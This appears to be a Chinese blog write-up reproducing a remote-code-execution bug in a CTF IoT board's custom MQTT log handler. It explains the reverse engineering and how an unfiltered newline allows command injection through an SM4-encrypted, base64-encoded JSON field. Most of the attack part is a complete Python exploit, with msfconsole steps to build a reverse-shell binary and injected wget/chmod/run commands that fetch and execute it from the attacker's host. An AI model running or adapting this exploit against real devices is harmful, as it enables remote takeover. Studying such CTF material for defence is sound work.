西湖论剑决赛IoT开发板 rce复现
终于有大师傅把rce做出来了,先膜一下orz
赛前没有积累过mqtt服务的相关知识,导致当时根本不清楚rce漏洞在哪里,真的跪了555
wp在这里:
搜集信息
西湖的IoT开发板上是一个小型的openwrt的服务器,当时试着绕密码绕了老半天,还是太菜了555
赛后主办方给了板子的root密码,finalshell ssh连接上看看运行了什么
![](https://i-blog.csdnimg.cn/img_convert/307e92d271feb1da2738c084d4bcb54a.png)
顺便在固件中找找8888端口是一个什么服务:
![](https://i-blog.csdnimg.cn/img_convert/21041e547446d62fb4036d6035e7dea9.png)
可以明显发现是转发了1883端口的服务在8888端口监听
并且可以看到1883端口运行的是mosquitto,经过搜索了解到时mqtt服务(我说当时为啥什么回显都无)
MQTT
他的英文全称Message Queuing Telemetry Transport,翻译过来就是"消息队列遥测传输",是ISO 标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议。它工作在 TCP/IP协议族上,是为硬件性能低下的远程设备以及网络状况糟糕的情况下而设计的发布/订阅型消息协议。
目前支持MQTT的服务器中间件有EMQTT、Mosquitto、Apollo
Mosquitto
一款实现了消息推送协议 MQTTv5.0, v3.1.1, v3.1 的开源消息代理软件,提供轻量级的,支持可发布/可订阅的的消息推送模式,使设备对设备之间的短消息通信变得简单,比如现在应用广泛的低功耗传感器,手机、嵌入式计算机、微型控制器等移动设备。
同时也可以发现主要是有两个进程,即mosquitto和mosquitto_sub
其中是mosquitto_sub中存在一个命令注入的rce漏洞,进行逆向分析
根据wp中的异常源码定位到漏洞点:
通过和github上的源码进行比对,发现mosquitto的逆向代码和源码差不大多,但mosquitto_sub不太一样,而且它指定了"block"和"logs"这两个topic,感觉就是出题人自己实现的一个进程
![](https://i-blog.csdnimg.cn/img_convert/5bd3c026f042be29c8efabee4ef1ea22.png)
逆向分析出发送消息的JSON格式为:
{"log":1,"timestamp":"xxxx","info":"xxxx"}
而且如果往"logs"这个topic进行publish操作,就会调用system在"/var/log"目录生成和给定的时间戳相关的文件
再看看下面的处理函数:
![](https://i-blog.csdnimg.cn/img_convert/719ca5505d52fbde5f9f9b9d152b31da.png)
![](https://i-blog.csdnimg.cn/img_convert/a980b2664ebf80652c777e870d3878bb.png)
![](https://i-blog.csdnimg.cn/img_convert/ba321d04806793c7c35b2f56f77b42c3.png)
![](https://i-blog.csdnimg.cn/img_convert/02ce4c226c0fbc2ad3946380493a605e.png)
info被进行了两轮操作变成info2,然后对info2有一个校验,通过后info2就被当作参数传入snprintf并最终被命令执行。如果最终的info2是'"\n/bin/sh\n'等类型的危险字符串就能实现命令注入
经过逆向和符号表恢复得出了函数的功能(sig恢复)
程序的漏洞在于注入字符串进行sm4加密,然后头部加上0xbf再做base64编码后的内容,在程序的过滤检测中没有过滤\n,导致了可以进行命令注入
执行:通过wget获取msf生成的反弹到宿主6666端口的可执行文件,然后chmod +x后执行RCE,并且注入总字符串长度不超过0x60(之前试栈溢出的时候试出来的)
rce
命令如下:
wget http://192.168.1.219:9/m
chmod +x /m
/m
msf生成:(在kali下生成的)
msfconsole
msf6> use payload/linux/mipsle/shell_reverse_tcp
msf6> set LHOST ip(自己的ip)
msf6> set LPORT 6666
msf6> generate -f elf -o m
用虚拟机监听的话要配置虚拟网络的桥接模式把虚拟机桥接到板子的网卡上
![](https://i-blog.csdnimg.cn/img_convert/07d38acf2e3b3496b2dcfb0df5e09eb3.png)
exp:
import time
import struct
import base64
import paho.mqtt.client as mqtt
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
def on_connect(client, userdata, flags, rc):
if rc == 0:
print("Connected to MQTT Broker!")
else:
print("Failed to connect, return code %d\n", rc)
def pack_key(v24):
key_bytes = b''
for i in range(4):
key_bytes += struct.pack('<I', v24[i]) # 使用小端序打包每个整数
return key_bytes
def encode_sm4(value,key):
"""
SM4 加密
:value: python各数据格式
"""
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_ENCRYPT)
# 使用crypt_ecb进行加密value
encrypt_value = crypt_sm4.crypt_ecb(value)
return encrypt_value
def decode_sm4(value,key):
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
decrypt_value = crypt_sm4.crypt_ecb(value)
return decrypt_value
def get_input(command):
v24 = [0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76]
key_bytes = pack_key(v24)
## --generate input--
test_key = key_bytes
cmd = b'"\n'
cmd += command
cmd += b'\n'
cmd = cmd.ljust(0x20,b"a")
#print(test_key)
#print(b"cmd:"+cmd)
#print("len_cmd:"+str(len(cmd)))
sm4_encode = encode_sm4(cmd,test_key)
#print(b"sm4_encode:"+sm4_encode)
#print("len_sm4_encode:"+str(len(sm4_encode)))
if len(sm4_encode) > 0x30 :
print("len_sm4_encode:"+str(len(sm4_encode)))
print("[+]erro:encode_sm4_string is too long!")
exit(0)
#print(sm4_encode[:32])
#print(decode_sm4(sm4_encode,test_key))
after_base64_decode = b"\xbf"+sm4_encode
mos_input = base64.b64encode(after_base64_decode)
#print(b"input:"+mos_input)
#print("len_input:"+str(len(mos_input)))
if (len(mos_input) & 3) :
print("len_input:"+str(len(mos_input)))
print("[+]erro:input len & 3 != 0")
exit(0)
return mos_input
if __name__ == "__main__":
cmd1 = b'wget http://192.168.1.219:9/m'
cmd2 = b'chmod +x /m'
cmd3 = b'/m'
#cmd1 = b'mkdir /tmp/nameless'
input1 = get_input(cmd1).decode()
input2 = get_input(cmd2).decode()
input3 = get_input(cmd3).decode()
print("[+]input1:"+input1)
print("[+]input2:"+input2)
print("[+]input3:"+input3)
p1 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input1+'"}'
p2 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input2+'"}'
p3 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input3+'"}'
print(p1)
print(p2)
print(p3)
## --try rce by mqtt--
client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1)
client.username_pw_set(username="xhlj2024", password="2758934")
client.on_connect = on_connect
client.connect("192.168.1.1", 8888)
topic = "logs"
client.publish(topic, p1)
time.sleep(2)
client.publish(topic,p2)
time.sleep(2)
client.publish(topic,p3)
time.sleep(2)
client.disconnect()
效果:
![](https://i-blog.csdnimg.cn/img_convert/c756124415f19d2bc1b691b6715d8f65.png)
总结
总算是了却了一个心结了,困扰了我很久的rce总算是成功了,确实收获很多(比赛也是真的坐牢555),不管是硬件还是固件都有了更多的了解了